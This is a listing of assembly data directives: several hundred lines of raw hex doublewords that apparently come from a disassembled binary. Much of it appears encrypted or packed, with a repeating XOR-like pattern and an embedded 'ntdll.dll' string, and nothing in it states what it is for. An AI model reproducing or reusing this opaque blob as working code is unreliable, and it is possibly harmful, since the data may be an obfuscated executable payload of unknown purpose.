		dd 90922267h, 943B41BCh, 7D7742E4h, 0F7C92431h,	40B45467h
		dd 0DD8002Ah, 5A9B2F46h, 745E2D5Fh, 0D447085Dh,	0E947144Ch
		dd 8A6784Dh, 1C77371Fh,	744A1C07h, 0B4633C76h, 1C9E3479h
		dd 65360799h, 0C8D35722h, 23F12AE7h, 84E81D05h,	45B44756h
		dd 0FC292664h, 13E8033Bh, 50000000h, 1F90B481h,	0E53226E6h
		dd 6BE6BA84h, 1735E329h, 46B860F6h, 5911BC35h, 0C181D0B4h
		dd 6860h, 68FCh, 815B0000h, 14895BCEh, 0B34FF7Fh, 0BE85Ah
		dd 55A0000h, 2ADA4456h,	1567D184h, 0F5BF6657h, 0EA815EB9h
		dd 3B0874C8h, 0EE9h, 0CE722800h, 0EBA5CC5h, 2D6DF3F7h
		dd 813C0A1Eh, 8A49D8C2h, 81F08B02h, 0A8E4FEAh, 8B666013h
		dd 148961C7h, 0FBBF0F19h, 0EB83F28Bh, 8E804h, 94A90000h
		dd 2ADB5CF4h, 7E8AF3Bh,	0B0000000h, 0CDE4C1C8h,	0F18B576Dh
		dd 0FB815E58h, 0FFFF9848h, 0FF87850Fh, 3EBFFFFFh, 8D6BD1EEh
		dd 0ED50B98Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0ADB589CDh, 0F05E72Bh
		dd 8D89D9BFh, 5E71AA9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 8EC35646h, 8A521152h,	0A59D8B17h, 0C705E731h
		dd 0E72A4D85h, 633405h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 7684D123h, 0A21901D1h
		dd 85C7F503h, 5E72739h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4AC35343h
		dd 0A5D1D2E0h, 0B50B8E19h, 5E72B3Dh, 15DB5FFh, 952305E7h
		dd 5E70CA1h, 179595FFh,	6A05E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 162391C3h, 1CDF0053h
		dd 0FD958BCCh, 6A05E71Ch, 0C195FF00h, 8B05E721h, 0A478EBC0h
		dd 0E3C52FFBh, 687EAE71h, 9BA3CE88h, 5A310FBBh,	70B24566h
		dd 8D13E011h, 169B1099h, 2AC62C9Bh, 2E301A78h, 838DAD98h
		dd 877BDAD7h, 0C9766C23h, 0A4192B45h, 46676C82h, 72EF93Ch
		dd 0B7E8BA0Eh, 3E3EB4h,	0E1B352D0h, 0DF9FE8D2h,	42FD3E65h
		dd 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh, 17856AA4h, 0BDC4C506h
		dd 3BF4F167h, 12236D81h, 6DF7B80Ch, 33BF1149h, 0EBB0A7EEh
		dd 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch,	88006C6Ch
		dd 34074621h, 0EFA3D25Dh, 480596h, 0
		dd 0E9000000h, 6B4h, 0ED528C68h, 2F21E905h, 4E68FFFAh
		dd 0E905ED53h, 0FFFA2F17h, 0ED542868h, 2F0DE905h, 0B68FFFAh
		dd 0E905ED55h, 0FFFA2F03h, 0ED55C468h, 2EF9E905h, 0B668FFFAh
		dd 0E905ED56h, 0FFFA2EEFh, 49A7F65h, 4DE346B4h,	9B31E8FDh
		dd 0E67CB54Bh, 2EC46596h, 7289AC15h, 2DD121B7h,	0E31E6E04h
		dd 9768B84Eh, 162F049Ah, 7F244529h, 62E7CD5Ah, 1304h, 39C66700h
		dd 36C9ABF8h, 563665FBh, 0D85491D3h, 1D720829h,	0DA91FB2Ch
		dd 76FF12EDh, 7FCC9A51h, 7900DEBEh, 489F605Ah, 0C7147AB7h
		dd 2CCF00E5h, 0B218B0FDh, 0B442F065h, 82CF629Dh, 98ED84EAh
		dd 0CB513786h, 0E446FA2Fh, 0ECBD9897h, 3C271E51h, 0CDA9ED6h
		dd 9B2CAF59h, 2589040h,	573B0000h, 9606311Dh, 0E2AFF2DFh
		dd 69375176h, 0D45DA4B2h, 0E352D39Ch, 4B96A6A7h, 0CF9B018h
		dd 1B8CDA31h, 1F34EBB9h, 0DC391D0Ah, 0F3C1248Eh, 8EDB8064h
		dd 39F00A24h, 0D4A254ECh, 4C77F39Ch, 0F93825DCh, 792178B6h
		dd 19E6F4ABh, 0CD328218h, 422D4064h, 0A07D14EFh, 4D7FCh
		dd 87925200h, 0D059A1F1h, 1EFBEA3Ah, 69C83888h,	0B17883D3h
		dd 7699021Bh, 0BE0EA485h, 0B5BF140h, 55A53BF6h,	1CF187AAh
		dd 26321603h, 0D4BA5A7Fh, 0F839C64Fh, 5B3F2C41h, 0E35491D3h
		dd 0A5616115h, 29312B15h, 9BCC48F1h, 0A68D7A31h, 0A651779Ah
		dd 0F18342D8h, 0BC22A5Dh, 5EAFDB1Eh, 28956357h,	0DB6B62A7h
		dd 65194AD7h, 0B24A979Ah, 7987954Ch, 9BD36BB8h,	0B8C09B88h
		dd 2E43F5E3h, 0E5BA5D41h, 6017E5FEh, 0E5BA8F73h, 114917FEh
		dd 1E13EB03h, 0BF301B8h, 0C945EE26h, 1316E49Eh,	0CA09F6ADh
		dd 4AFBCF96h, 48B7C57Ch, 80CD5C9Fh, 6AC738E8h, 891F851Dh
		dd 476BC639h, 3A986230h, 15F79B78h, 14000004h, 63B349D0h
		dd 0ACFC9297h, 0FA4AE039h, 45952B06h, 0C4DD73B6h, 66C3385Bh
		dd 0B37E80D0h, 0FD34CD1Dh, 49E81767h, 0D8C5DEB3h, 5A7F26F4h
		dd 0C611967Ch, 0C2ABF839h, 0D3DCC0ADh, 96645491h, 1D8FB85Eh
		dd 0A0F95466h, 9C6DE88Dh, 0F85DA6A9h, 3C74DAF9h, 5893C29h
		dd 0F2115177h, 79062105h, 75DBA95Ah, 867388DFh,	5A7905A2h
		dd 7E245C2Ah, 1E2CE355h, 6C0451E0h, 0B8F029BCh,	0B498B8A5h
		dd 80985763h, 0FE03B37Eh, 816CD33h, 4DA43AF7h, 206DBC3Fh
		dd 0BB445088h, 28AA5428h, 170409Ch, 0E38F43CFh,	6B7D931Bh
		dd 70495211h, 0DB57A40Ah, 748940A8h, 6691A387h,	1F0C2B60h
		dd 6066923Bh, 578FF5C3h, 90E05744h, 0CDDB5D4Bh,	0BAC80031h
		dd 6B9C8ECh, 3411D91Bh,	33B90h,	23F6EE00h, 6CBD3D8Dh, 0BA5F86D6h
		dd 52CD424h, 4DDC1F6Fh,	12359EB7h, 5AAA40E9h, 0A7F78DA4h
		dd 0F141D75Ah, 0B88D230Eh, 27CEB29Fh, 70565A7Fh, 0F839C6EBh
		dd 64CD3341h, 0DC07832Ch, 855DC22h, 45530A70h, 912976BBh
		dd 1C314659h, 91D34B2Fh, 0CD05D354h, 76F8FBE2h,	972DFB51h
		dd 1A085h, 2257E800h, 0DA91FB2Ch, 0D3F4D8C5h, 0AE7C5491h
		dd 33766376h, 0BB5176E2h, 0D82836EDh, 0D3260C59h, 7549A386h
		dd 24ED258Bh, 94A683A3h, 5B697EA7h, 1BFF8EA3h, 0A34FB64Dh
		dd 4CB39784h, 6D3B4FB6h, 0FE29CF07h, 7EAD78Eh, 8F4C9B72h
		dd 0A45C8377h, 42A8408Dh, 0E0138FDCh, 95D4C178h, 10528753h
		dd 2011EDFBh, 0C8AC3BD3h, 505B87F5h, 6E3C4A82h,	0DB56A9B7h
		dd 270AF545h, 0E0A58803h, 5F03E0E3h, 258h, 700613D1h, 0B94FDA20h
		dd 79D7C69h, 52E849B7h,	9A30F902h, 6F51881h, 0C13D8D23h
		dd 778ADA70h, 2BD424BAh, 829B7006h, 7F28B195h, 0CE53395Ah
		dd 41F839C6h, 86F8F62Fh, 1DDD3F25h, 0C56EA60Ch,	9D641E49h
		dd 8A772E94h, 51779CA3h, 0F88D87A3h, 0EB8AE981h, 226FAA3Bh
		dd 0CF8E248Ah, 0A72A5A9h, 5F236653h, 0DDAB575Eh, 49E81826h
		dd 632C64FCh, 0DE53ACBAh, 0EB3ABBA6h, 79AAE63Eh, 2E43580Fh
		dd 426B5D41h, 0DF17E5EFh, 279111F4h, 7ECB99ECh,	0B067D102h
		dd 137284C3h, 7F3604F2h, 0ECA38E71h, 1506EAD7h,	0C08EFB14h
		dd 0B9469688h, 86415478h, 4C294454h, 19FA8h, 0BF5A8A00h
		dd 821D929h, 56C32272h,	0A19070C0h, 0E940BB0Bh,	0AED13A53h
		dd 0F646DC4Dh, 43932908h, 8DDD73BEh, 5429BF72h,	286A4E3Bh
		dd 0CF25A7Fh, 0F839C687h, 4DB4C2ABh, 7E058E96h,	2B9170B3h
		dd 680E46DEh, 2916CD3Fh, 51777E76h, 0DDCADFFEh,	5A797EF9h
		dd 4024B381h, 0C85A797Eh, 7DB44AFAh, 9C329830h,	43FB2C47h
		dd 320F457Fh, 0F3AA10B5h, 4D46CCDEh, 0B569C03Ah, 39E9F8EBh
		dd 47326AC7h, 517C9131h, 9EAC6331h, 0E33AD061h,	42BE29D5h
		dd 0CD989EFh, 0F028C00Dh, 0C9161BE4h, 0A87FCEE0h, 1F083D0Fh
		dd 679F926Fh, 6F2696C1h, 6A81DA82h, 0D58C5A57h,	9048B2C0h
		dd 6D23BFA3h, 13794760h, 0EAF62EC6h, 53651C15h,	0A1E01E2Ch
		dd 796BA3F8h, 0E5BD629h, 54AD6192h, 48F890DDh, 5F167C9Dh
		dd 51E8E772h, 0FD21EF5Dh, 0D914ADA2h, 0AD6D11EEh, 7C000000h
		dd 0CB1BB168h, 1464FA2Fh, 62B248D1h, 0ADFD939Eh, 2C45DB4Eh
		dd 0CE5BA0C3h, 1B16E838h, 65CC3585h, 0B1807FCFh, 402D461Bh
		dd 5A7F295Ch, 2C79FEE4h, 0CCDA91FBh, 0AFC2FA2Fh, 0BD748C9Ah
		dd 0D728D870h, 2937225Ah, 29517C82h, 0D32C0E5Bh, 6799A75Eh
		dd 50A092CAh, 4C3582AFh, 0C272A73Eh, 0D0BBF33Eh, 1F666F6Fh
		dd 49E7F529h, 3169C03Bh, 0C609DA25h, 8C66B632h,	1868FE64h
		dd 14FD4AE7h, 25F4F1FFh, 0CDB140D8h, 57A8684Eh,	8D688A9h
		dd 548C8D58h, 2C79B848h, 1EDCEA87h, 0F90FD30Bh,	69C956Ah
		dd 9BE849B6h, 3F7h, 13585A00h, 0AEFB1EC6h, 0B1FE33CCh
		dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h
		dd 0BB0811D4h, 0BB0821D9h, 0E089506Fh, 405h, 4E88300h
		dd 8B240487h, 28682424h, 89000051h, 8952241Ch, 4C281E2h
		dd 83000000h, 148704EAh, 2C895C24h, 519F6824h, 1C8B05EDh
		dd 4C48324h, 242C8B54h,	5304C483h, 68240481h, 8F7B203Fh
		dd 0BF570845h, 7B203F68h, 5F087D29h, 57242C8Bh,	0C781E789h
		dd 4, 8704C783h, 8B5C243Ch, 8956241Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 2885E95Ch, 0CA8DFFFAh, 718B72BFh, 3FF26266h
		dd 38A766DCh, 0ED5788B8h, 0FFC50305h, 0D901E3E0h, 11151715h
		dd 0D25A442Ah, 71D0551Fh, 3BA7BF7Ah, 0E841573Eh, 3F6287Ah
		dd 7891206Ch, 980F9605h, 91EBD038h, 27C1685Bh, 0BDABDA12h
		dd 52119620h, 1CB18A38h, 0ECE47379h, 2992206Eh,	5972EB77h
		dd 5D3B2164h, 14E81Ch, 61970000h, 0BAE0623Ch, 0E3BD284Ah
		dd 38A83DE9h, 355F8D31h, 7E9166Bh, 0F8000000h, 0AB569254h
		dd 665F13A6h, 8172EBB8h, 63B4C7h, 198A0F00h, 0E9000000h
		dd 14h,	9614E582h, 0A628FD5Ch, 0C1BD6682h, 0AB43D987h
		dd 0E947A0DDh, 18B468h,	8F0F5900h, 3, 8B18C880h, 0F9C3811Fh
		dd 0E92E9E14h, 0Ah, 539721BBh, 1C870B3h, 0F38174B2h, 231C2AAEh
		dd 0B6C6ABB8h, 36C38117h, 665979B5h, 8AF9C681h,	0CA816053h
		dd 6C590AF5h, 13E8h, 0C2686800h, 19C368EFh, 6F3602CCh
		dd 0E4F7692Fh, 0A0DE6CABh, 58C68B66h, 0FC078F61h, 0A909EF81h
		dd 0D68B520Fh, 0A905C781h, 0BA66520Fh, 0E983877Fh, 13850F01h
		dd 60000000h, 18B0Fh, 61F80000h, 11E9h,	0E5396F00h, 78E92759h
		dd 0E3FFFFFFh, 6D272884h, 8EBEC79h, 0
		dd 1BCF753Fh, 4C8E9h, 5A836800h, 20E905EDh, 68FFFA27h
		dd 5ED5B10h, 0FA2716E9h, 5C8668FFh, 0CE905EDh, 48FFFA27h
		dd 97E77D9Ch, 0E030C663h, 2E7E1405h, 79C95FD2h,	0F811A782h
		dd 9A8F6C8Fh, 0E74AB404h, 31000151h, 7DB44B9Bh,	0CF912E7h
		dd 5A7F2D28h, 0BF45CAB0h, 92DF4AB1h, 0C62D46FAh, 97E3B5E1h
		dd 81A8535Fh, 3AAD5234h, 88206DC4h, 0BF0C0DD8h,	412BC127h
		dd 0DDEFA616h, 824E450h, 0FF124A4Dh, 778DA712h,	94E1AF51h
		dd 798FF3D3h, 24398E5Ah, 798F5337h, 0D50DDB5Ah,	0E690FB11h
		dd 0C7409B40h, 30Ah, 0BDAABF72h, 5491D3D9h, 0E05B9361h
		dd 2494BF93h, 0B04A586Dh, 5C942C79h, 76E22E71h,	7BE8B651h
		dd 0DBE813FAh, 0E0487BAFh, 74F53C29h, 5B7054C3h, 0C5748A6Eh
		dd 2FF6125Dh, 0A3E6DFF9h, 31CE7EE4h, 0E31BB300h, 0A443BDD5h
		dd 0EE86D356h, 5D6B2288h, 77BA44A3h, 18E2C411h,	0C62CC411h
		dd 3E69E58Eh, 742A17CEh, 0F45AAA3Eh, 0AA1009DCh, 171AE5F3h
		dd 63CE3181h, 0BC422F3Fh, 0F89C79DBh, 307h, 0E87E9B49h
		dd 31C76298h, 7F1504E1h, 0CA60D12Fh, 12A8817Ah,	8E6D90F9h
		dd 49B5059Bh, 0FF0252E8h, 0B34C9C32h, 0FA13E87Eh, 7F2E290Dh
		dd 46CBB15Ah, 0DA91FB2Ch, 7C8ADCEDh, 0DDCADF51h, 5A7F2DF9h
		dd 99986981h, 0B57C8333h, 0EAA16F7Dh, 0BF0C25DCh, 0CEDCEF27h
		dd 0E54CB22Dh, 49A0098h, 699847B4h, 541562C8h, 0B15B86EBh
		dd 8ECD9EEh, 905A7F2Eh,	5CA98878h, 1A265EC4h, 20E1FEE5h
		dd 477B0595h, 42BBBDE1h, 2805E4E9h, 27A84h, 0B0ED600h
		dd 54D52575h, 0A2776EBEh, 0ED44BC0Ch, 35F40757h, 0FA1D869Fh
		dd 42922801h, 8FDF75BCh, 0D929BF72h, 0A0750B26h, 2EB69A87h
		dd 583E5A7Fh, 91FB2CD3h, 8ADCEDDAh, 16E4517Ch, 2E2808C9h
		dd 0BDC35A7Fh, 0A2923C2Fh, 0AF734091h, 1E000001h, 0ABF839C6h
		dd 4EB136C9h, 98FE96E3h, 0FBDFCCE1h, 835491D3h,	0A18B7DB5h
		dd 624F0676h, 5176E003h, 987C697Eh, 1E5A78DFh, 3F79E685h
		dd 9D6B1D92h, 0D11E13EDh, 0D4F30139h, 793903E7h, 57BD8B5Ah
		dd 3869490Ah, 13EB5A79h, 0BEFD11Eh, 11EFD11Eh, 0F83BD320h
		dd 58EFBC4Ah, 1D01EE03h, 0A55A7939h, 6EBB6E8Dh,	743870D6h
		dd 9D49F366h, 432A409Bh, 0D5000000h, 5340FB2Ch,	5491D36Fh
		dd 0D42105F2h, 0DBA95491h, 3EF55B29h, 76FB8A51h, 0EF3C0A51h
		dd 78FB4E2Eh, 31D05Ah, 0FF2AD1B3h, 0B1F0CCB2h, 63A66184h
		dd 763BD1C1h, 5803D9DFh, 409BADAEh, 0B78Fh, 39C63A00h
		dd 32C9ABF8h, 0E41410A9h, 92F87ADAh, 959C6345h,	98996648h
		dd 6549D302h, 0AC535492h, 65634734h, 1DEB5492h,	509D946Dh
		dd 899B52B8h, 5168CE94h, 0CFBC738Bh, 54924FEBh,	7B6DA573h
		dd 4EAC6691h, 90F68EDBh, 48B6C4D9h, 68CE5B9Fh, 0D98425B4h
		dd 255D0C7Fh, 795C5A3Ah, 550CDA51h, 0DF75B447h,	99BD6C8Fh
		dd 0E4EC21E9h, 4BE623Fh, 4C000001h, 9BEB8198h, 0E434CA5Fh
		dd 32821801h, 7DCD63CEh, 0FC15AB7Eh, 9E8B7093h,	0EB46B808h
		dd 35FC0555h, 81B04F9Fh, 10FD16EBh, 5A7F302Ch, 0BF49CEB4h
		dd 94E150B1h, 43B8C4FCh, 80CD649Ch, 9CEC82E8h, 0E338CE63h
		dd 0ABF839C6h, 65FB36C9h, 29E0487Bh, 769E783Ch,	19E80051h
		dd 1B996BCAh, 0D63CEF1Eh, 50ABB970h, 8477708Fh,	5AC058A5h
		dd 91DE3BAAh, 0CEFD93F9h, 5A78EBEEh, 0CA28F70h,	9DEA3FBCh
		dd 7EF9h, 0AABF5C00h, 91D3D9BDh, 5B936154h, 631A82B5h
		dd 7C8A7176h, 0A5597151h, 0F7D9268Ch, 3C932908h, 1461D02Eh
		dd 0C738447Ch, 1F341D6Ah, 2D391D0Ah, 0F3C15A7Fh, 7F2C8064h
		dd 6EEC085Ah, 0E7F51E46h, 4E3971D7h, 50A1083Ch,	9DB44276h
		dd 0E939CF62h, 0ECCE1B16h, 128D314h, 0CA94E9Bh,	0F260AF7h
		dd 50B078A1h, 29612FE1h, 3FC09765h, 8BD859A8h, 0A7F78DF3h
		dd 0E88CD958h, 3, 0C613584Bh, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h
		dd 0D4B6032Eh, 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h
		dd 6FBB0821h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 4F68243Ch, 89000057h, 8951241Ch, 4C181E1h, 83000000h
		dd 0C8704E9h, 0C895C24h, 59826824h, 1C8B05EDh, 4C48124h
		dd 54000000h, 83240C8Bh, 0EC8104C4h, 4,	0BA241489h, 8
		dd 1A89CA01h, 2434FF5Ah, 4C48359h, 53241C8Bh, 0C381E389h
		dd 4, 8704C383h, 0E95C241Ch, 0FFFA2267h, 5D434BDCh, 5DAFB8F7h
		dd 0C50305EDh, 0BB74E0FFh, 6133987h, 53C10A53h,	61BD4FA7h
		dd 92C21180h, 0D32779Bh, 86096BEDh, 0C3775D5Dh,	9370DF7h
		dd 82FC4969h, 9F327BF7h, 0FC732588h, 0DA687702h, 13E86304h
		dd 65000000h, 89632BB7h, 0CA067250h, 4EBD957Ah,	0FD1850CFh
		dd 0BF663F8Ch, 815EF5DFh, 5B13C6h, 33DF8B00h, 0DE9C0h
		dd 5AA70000h, 0F633C7FCh, 0A2160054h, 0FF498BAAh, 8A0F3034h
		dd 5, 0BFC78166h, 66515AF1h, 0A50DDF81h, 0EC2815Bh, 8B5E8C3Fh
		dd 75F281C8h, 8A1E46D6h, 0BDEA81DAh, 0B95E3AC5h, 592551Eh
		dd 7901BF52h, 48F6FCDh,	5880F06h, 53000000h, 59FEBF0Fh
		dd 14810Fh, 0E9600000h,	0Dh, 6072F267h,	12B7869Bh, 0A5BB19D8h
		dd 0E88161EBh, 658AA0E3h, 0A0DFC081h, 81F8658Ah, 0FFA5E8F8h
		dd 18850FFFh, 66000000h, 4BE9D98Bh, 0B4000000h,	0D4ED4122h
		dd 0AB009F03h, 9033A958h, 0E8D19EC4h, 8, 4D50CAB4h, 0C6594270h
		dd 0FE960h, 0AD7F0000h,	85D5D31Ah, 17A2E588h, 5A4BF58Dh
		dd 880FD8h, 61000000h, 0FF41E95Bh, 9181FFFFh, 9FC2B851h
		dd 25527A09h, 8D8DC52Ah, 5ED603Bh, 9AC2BF66h, 1AA98D89h
		dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0DFBC2BC3h, 9F8B50B8h, 85C76D58h,	5E72A4Dh
		dd 7004h, 1B518D89h, 85C705E7h,	5E72739h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 81C35747h
		dd 95098FB4h, 5E72C89h,	1639B5FFh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 21BE00C3h
		dd 9908A23Ch, 95FF1305h, 5E71795h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0C6C35040h,	26C0CA44h, 8B66FE64h
		dd 0FF006AD3h, 0E721C195h, 0EBC08B05h, 8D3DAC0Dh, 60CF5E93h
		dd 0FEBE071Eh, 8D8DB9CEh, 5ED6142h, 0E7811FB4h,	0EF41268h
		dd 1AA98D89h, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 65D112C3h, 0BCA1DCF0h, 2C899589h
		dd 85C705E7h, 5E72A4Dh,	7410h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 10C35545h, 6273EC44h, 0BD89E5BDh
		dd 5E72E35h, 273985C7h,	5E7h, 10E90000h, 0A9000000h, 0F30E7E5Ch
		dd 0C0709BBAh, 0EA66694Ch, 0FF103E4Eh, 0E70091B5h, 79B53105h
		dd 0FF05E716h, 0E7179595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E8937064h
		dd 12h,	0EA313FFDh, 202BC6DFh, 11FA7933h, 26A47D4Ah, 14E93190h
		dd 0D6000000h, 0B1553E8Dh, 0BC37B711h, 5FE6362Bh, 51BB75D4h
		dd 5A64BC22h, 95FF006Ah, 5E721C1h, 1CEBC08Bh, 6AD8FD4Ch
		dd 9BA0E1F1h, 3E42DFC6h, 0E3E9313Ch, 0B81A7075h, 0C97BD445h
		dd 353A2B10h, 0B13EE853h, 0F532565Dh, 0F501EEACh, 0B1325655h
		dd 0B13256ABh, 0E88D01D5h, 0EBFB1DEAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh, 0B63581AEh
		dd 0AB325257h, 823247ABh, 0B3254D5h, 0F93256EAh, 0F9325677h
		dd 0E3F27DB8h, 0BEDB040Dh, 0A3256AEh, 2624678Fh, 82903B2Fh
		dd 3EDC3F25h, 803D73F6h, 803D0425h, 0E9680EE0h,	0D7526752h
		dd 63DAF25h, 0E968379Dh, 58AE36FBh, 0B13256DEh,	0B37FB29Dh
		dd 0FF7B0666h, 30372AD5h, 86353EBDh, 0B134BFA6h, 0D6145657h
		dd 0B280EBBFh, 0A2DBCA48h, 0EE3256EAh, 0CA3823D9h, 0E6E4A722h
		dd 42507B19h, 0FE9C7F1Eh, 3054B38Bh, 586B9E42h,	0B13256D3h
		dd 2C46116Ch, 0D0AFB567h, 740E792Ch, 99DBD73Bh,	0B134BF28h
		dd 96D45657h, 72402B7Fh, 0E1A23748h, 586006B8h,	0B132567Bh
		dd 942ED954h, 103AFDA7h, 6C86D168h, 803D7505h, 0B1324242h
		dd 1BA71AD5h, 0C7236E71h, 0B37FB202h, 0FF7B06A9h, 0EB372A32h
		dd 0BE6A0C25h, 0E1600666h, 0EB0359F9h, 5803598Dh, 0B13256E4h
		dd 0C49E098Bh, 40AA2DB0h, 9C76018Bh, 0E968A5CCh, 0CA6A0E0Dh
		dd 0BE035936h, 0E9689962h, 38539461h, 58367231h, 0B13256ABh
		dd 7959ECB8h, 0C575D0CFh, 51D144CAh, 0BD0D0832h, 0B1320E80h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B1DA36EAh, 0EB325675h, 0D510BC3Bh, 34BF53B0h, 0B4DE851Ch
		dd 0D04AD4DEh, 33BF5346h, 0B4DF8B73h, 0D04ED463h, 0FFDA5398h
		dd 593256B3h, 0B1325626h, 0D05AD469h, 0B13253BAh, 776056ABh
		dd 5600F350h, 0E35A00EFh, 4EAEFECDh, 5619530Fh,	10B7DB58h
		dd 4E37BCD3h, 6CB7DF87h, 0DB37B1ACh, 0A1323ED1h, 0F15A56EAh
		dd 0DB325578h, 0EBE2A9BAh, 82469656h, 0D05AD427h, 33BB53BAh
		dd 0B4DF37C7h, 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h
		dd 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B4D55176h, 0DB0DF8Fh
		dd 0D037BB8Bh, 0D05AD3FEh, 0D1F15357h, 0AC33D49Ah, 0B1325349h
		dd 33F55617h, 0B4D5578Eh, 0B13246D5h, 3A52958Bh, 5C533ECFh
		dd 0B10DD5BFh, 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh
		dd 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh
		dd 0E4F13747h, 5952BADCh, 0B13256ABh, 0A6D8D78Fh, 3A37BB8Fh
		dd 5C5396C7h, 0B977DDBFh, 33B150D4h, 0B4DF376Eh, 73FB3753h
		dd 595256AFh, 0B13256D5h, 8AD8D7B0h, 3A37BB10h,	5C53EA08h
		dd 71806D58h, 0C537BBCFh, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h
		dd 0B236236Ah, 9A30BDACh, 3A711563h, 562E0BD8h,	3CBFDDABh
		dd 8A37B17Bh, 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh
		dd 9DBFEB33h, 6D953BAh,	595295CFh, 0B1325657h, 22D8D7F1h
		dd 3A37BBB0h, 5C53EA50h, 0B032EF70h, 710156BAh,	33B9FDAEh
		dd 0B4DF3712h, 0D0F2D4DEh, 72535346h, 0B132BEB5h, 306856EAh
		dd 5C57EB9Fh, 14B790BFh, 0E737B16Fh, 0AE5F6FC6h, 0B487A983h
		dd 3C37B180h, 5B4FF750h, 0E3E2A9EFh, 31323E25h,	0B15856BAh
		dd 0D05AE4A2h, 61CD5343h, 0B15A0C0Fh, 0DB32562Bh, 0D80A9D5h
		dd 4E37BB8Bh, 0E4F137A5h, 5952BA31h, 0B132565Dh, 0BAD8D7F4h
		dd 3A37BB31h, 29DA5EDEh, 0E43256D7h, 0D04AC415h, 8A6F5398h
		dd 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh,	4DF6D547h
		dd 59610183h, 0B13256EAh, 8ED8D72Fh, 3A37BBDCh,	0CCB95E28h
		dd 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh,	5C532E78h
		dd 0C4090B70h, 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h
		dd 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah,	78CE1331h
		dd 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h
		dd 0D09AD42Dh, 0B1335398h, 0C4B956BAh, 0AFB93055h, 0D05AEC25h
		dd 0EEB953BAh, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh
		dd 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h,	0BEDBAD2Bh
		dd 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh
		dd 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h
		dd 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h
		dd 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h
		dd 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h,	5C53FE57h
		dd 0AFB930EFh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h
		dd 30C9D731h, 0D121226Bh, 0C9A0A980h, 0EC37BB8Bh, 0D0CE13FCh
		dd 0B0CE2B39h, 0BB93528h, 0B4D54BAFh, 19B0DD07h, 8837BBCAh
		dd 0C36A66E9h, 9488DDBAh, 0E137B174h, 0D09AD431h, 8D0B53B0h
